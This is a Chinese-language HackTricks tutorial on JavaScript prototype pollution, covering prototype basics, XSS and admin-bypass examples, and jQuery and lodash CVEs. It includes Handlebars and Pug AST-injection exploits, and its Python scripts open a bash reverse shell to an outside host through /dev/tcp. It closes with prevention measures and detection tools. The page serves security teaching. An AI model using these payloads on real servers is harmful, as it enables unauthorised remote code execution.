# NodeJS - \_\_proto\_\_ & prototype Pollution

<details>

<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## JavaScript中的对象 <a href="#id-053a" id="id-053a"></a>

JavaScript中的对象本质上是键值对的集合，称为属性。可以使用`Object.create`方法并将`null`作为参数来创建一个空对象。这种方法允许创建一个没有任何继承属性的对象。

```javascript
// Run this in the developers tools console
console.log(Object.create(null)); // This will output an empty object.
```

### JavaScript中的函数和类

在JavaScript中，类和函数密切相关，函数经常充当类的构造函数。尽管JavaScript缺乏原生类支持，但构造函数可以模拟类的行为。

```javascript
// Run this in the developers tools console

function Employee(name, position) {
this.name = name;
this.position = position;
this.introduce = function() {
return "My name is " + this.name + " and I work as a " + this.position + ".";
}
}

Employee.prototype

var employee1 = new Employee("Generic Employee", "Developer");

employee1.__proto__
```

### JavaScript中的原型

JavaScript允许在运行时修改、添加或删除原型属性。这种灵活性使得可以动态扩展类的功能。

`toString`和`valueOf`等函数可以被修改以改变它们的行为，展示了JavaScript原型系统的适应性。

## 继承

在基于原型的编程中，属性/方法是从类中的对象继承的。这些类是通过将属性/方法添加到另一个类的实例或空对象中创建的。

值得注意的是，当将属性添加到充当其他对象原型的对象（如`myPersonObj`）时，继承对象就可以访问这个新属性。然而，除非显式调用，否则这个属性不会自动显示。

## \_\_proto\_\_污染 <a href="#id-0d0a" id="id-0d0a"></a>

## 探索JavaScript中的原型污染

JavaScript对象由键值对定义，并从JavaScript对象原型继承。这意味着修改Object原型可能会影响环境中的所有对象。

让我们使用一个不同的示例来说明：

```javascript
function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
```

可以通过以下方式访问对象原型：

```javascript
car1.__proto__.__proto__;
Vehicle.__proto__.__proto__;
```

通过向Object原型添加属性，每个JavaScript对象都将继承这些新属性：

```javascript
function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function() { console.log("Beep beep!"); };
car1.announce(); // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true;
console.log(car1.isVehicle); // Outputs true
```

## 原型污染

对于限制了 `__proto__` 使用的情况，修改函数的原型是一种替代方法：

```javascript
function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function() { console.log("Beep beep!"); };
car1.beep(); // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true;
console.log(car1.hasWheels); // Outputs true

// Alternate method
car1.constructor.prototype.honk = function() { console.log("Honk!"); };
car1.constructor.prototype.isElectric = true;
```

这仅影响从`Vehicle`构造函数创建的对象，为它们提供`beep`、`hasWheels`、`honk`和`isElectric`属性。

全局影响JavaScript对象的两种方法包括：

1. 直接污染`Object.prototype`：

```javascript
Object.prototype.goodbye = function() { console.log("Goodbye!"); };
```

2. 污染常用结构的构造函数原型：

```javascript
var example = {"key": "value"};
example.constructor.prototype.greet = function() { console.log("Hello!"); };
```

## 污染其他对象

### 从类到Object.prototype

在一个场景中，您可以**污染特定对象**并且需要**访问`Object.prototype`**，您可以使用类似以下代码进行搜索：

```javascript
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for(let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for(let key1 in document.querySelector('a')) {
for(let key2 in document.querySelector('a')[key1]) {
if (document.querySelector('a')[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}
```

### 数组元素污染

请注意，正如您可以污染JS对象的属性一样，如果您可以污染一个数组，您也可以**污染可以通过索引访问的数组的值**（请注意，您无法覆盖值，因此您需要污染某种方式使用但未写入的索引）。

```javascript
c = [1,2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not
```

### Html元素污染

在通过JS生成HTML元素时，可以**覆盖** **`innerHTML`** 属性，使其编写**任意HTML代码。** [灵感和示例来自此文章](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/)。

{% code overflow="wrap" %}

```javascript
// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"
```

{% endcode %}

## 例子

### 基本示例

原型污染是由于应用程序中存在漏洞，允许在 `Object.prototype` 上覆盖属性。这意味着由于大多数对象从 `Object.prototype` 派生其属性

最简单的示例是向将要被检查的对象的**未定义属性**添加一个值，如：

```javascript
if (user.admin) {
```

如果属性 **`admin` 未定义**，就有可能滥用原型污染并将其设置为 True，类似于以下操作：

```javascript
Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true
```

这背后的机制涉及操纵属性，以便如果攻击者控制某些输入，他们可以修改应用程序中所有对象的原型。这种操纵通常涉及设置 `__proto__` 属性，在JavaScript中，这与直接修改对象的原型是同义的。

可以成功执行此攻击的条件，如特定[研究](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)中所述，包括：

* 执行递归合并。
* 基于路径定义属性。
* 克隆对象。

### 覆盖函数

```python
customer.__proto__.toString = ()=>{alert("polluted")}
```

### Proto污染到RCE

{% content-ref url="nodejs-proto-prototype-pollution/prototype-pollution-to-rce" %}
[prototype-pollution-to-rce](https://hacktricks.xsx.tw/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce)
{% endcontent-ref %}

其他有效载荷：

* <https://github.com/KTH-LangSec/server-side-prototype-pollution>

## 客户端原型污染到XSS

{% content-ref url="nodejs-proto-prototype-pollution/client-side-prototype-pollution" %}
[client-side-prototype-pollution](https://hacktricks.xsx.tw/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution)
{% endcontent-ref %}

### CVE-2019–11358：通过jQuery $ .extend进行原型污染攻击

[有关更多详细信息，请查看此文章](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) 在jQuery中，如果深度复制功能被错误使用，`$ .extend` 函数可能导致原型污染。该函数通常用于克隆对象或从默认对象合并属性。但是，当配置错误时，本应分配给新对象的属性可能被分配给原型。例如：

```javascript
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
console.log({}.devMode); // Outputs: true
```

这个漏洞，被标识为CVE-2019-11358，说明了深拷贝可能会无意中修改原型，导致潜在的安全风险，比如如果像`isAdmin`这样的属性在没有适当存在验证的情况下被检查，可能导致未经授权的管理员访问。

### CVE-2018-3721，CVE-2019-10744：通过lodash进行原型污染攻击

[有关更多详细信息，请查看此文章](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)

[Lodash](https://www.npmjs.com/package/lodash) 遇到了类似的原型污染漏洞（CVE-2018-3721，CVE-2019-10744）。这些问题已在版本4.17.11中得到解决。

### 具有CVE的另一个教程

{% embed url="<https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2>" %}

### 用于检测原型污染的工具

* [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner)：Burp Suite扩展程序，旨在检测和分析Web应用程序中的服务器端原型污染漏洞。该工具自动化扫描请求的过程，以识别潜在的原型污染问题。它利用已知的小工具（gadgets）- 利用原型污染执行有害操作的方法 - 特别关注Node.js库。
* [**server-side-prototype-pollution**](https://github.com/portswigger/server-side-prototype-pollution)：此扩展程序识别服务器端原型污染漏洞。它使用[服务器端原型污染](https://portswigger.net/research/server-side-prototype-pollution)中描述的技术。

### NodeJS中的AST原型污染

NodeJS在JavaScript中广泛使用抽象语法树（AST）来实现功能，如模板引擎和TypeScript。本节探讨了与模板引擎中原型污染相关的漏洞，特别是Handlebars和Pug。

#### Handlebars漏洞分析

Handlebars模板引擎容易受到原型污染攻击。此漏洞源自`javascript-compiler.js`文件中的特定函数。例如，`appendContent`函数会在存在`pendingContent`时连接它，而`pushSource`函数在添加源代码后将`pendingContent`重置为`undefined`。

**利用过程**

利用AST（抽象语法树）由Handlebars生成，遵循以下步骤：

1. **解析器的操纵**：首先，解析器通过`NumberLiteral`节点强制值为数字。原型污染可以绕过这一点，使非数字字符串插入。
2. **编译器的处理**：编译器可以处理AST对象或字符串模板。如果`input.type`等于`Program`，则将输入视为预解析，可以被利用。
3. **代码注入**：通过操纵`Object.prototype`，可以将任意代码注入模板函数，可能导致远程代码执行。

演示利用Handlebars漏洞的示例：

```javascript
const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}],
"loc": {
"start": 0,
"end": 0
}
}];

const source = `Hello {{ msg }}`;
const template = Handlebars.precompile(source);

console.log(eval('(' + template + ')')['main'].toString());
```

这段代码展示了攻击者如何将任意代码注入Handlebars模板中。

**外部参考**: 在'flat'库中发现了与原型污染相关的问题，详细信息请参阅: [GitHub上的问题](https://github.com/hughsk/flat/issues/105)。

**外部参考**: [与'flat'库中原型污染相关的问题](https://github.com/hughsk/flat/issues/105)

Python中原型污染利用的示例:

```python
import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})

# execute
requests.get(TARGET_URL)
```

#### Pug漏洞

Pug，另一个模板引擎，面临着原型污染的类似风险。有关更详细的信息，请参阅[Pug中的AST注入讨论](https://blog.p6.is/AST-Injection/#Pug)。

```python
import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})

# execute
requests.get(TARGET_URL)
```

### 预防措施

为了减少原型污染的风险，可以采用以下列出的策略：

1. **对象不可变性**：可以通过应用 `Object.freeze` 来使 `Object.prototype` 不可变。
2. **输入验证**：JSON 输入应该严格根据应用程序的模式进行验证。
3. **安全合并函数**：应避免不安全使用递归合并函数。
4. **无原型对象**：可以使用 `Object.create(null)` 来创建没有原型属性的对象。
5. **使用 Map**：应该使用 `Map` 而不是 `Object` 来存储键值对。
6. **库更新**：可以通过定期更新库来整合安全补丁。
7. **代码检查工具**：使用诸如 ESLint 等适当插件的工具来检测和防止原型污染漏洞。
8. **代码审查**：实施彻底的代码审查，以识别和修复与原型污染相关的潜在风险。
9. **安全培训**：教育开发人员有关原型污染的风险以及编写安全代码的最佳实践。
10. **谨慎使用库**：在使用第三方库时要谨慎。评估它们的安全状况并审查它们的代码，特别是那些操作对象的代码。
11. **运行时保护**：采用运行时保护机制，例如使用专注于安全的 npm 包，可以检测和防止原型污染攻击。

## 参考资料

* <https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/>
* <https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l>
* <https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7>
* <https://blog.p6.is/AST-Injection/>

<details>

<summary><strong>从零开始学习 AWS 黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想看到您的 **公司在 HackTricks 中做广告** 或 **下载 PDF 版本的 HackTricks**，请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向 **HackTricks** 和 **HackTricks Cloud** github 仓库提交 PR 来分享您的黑客技巧。

</details>
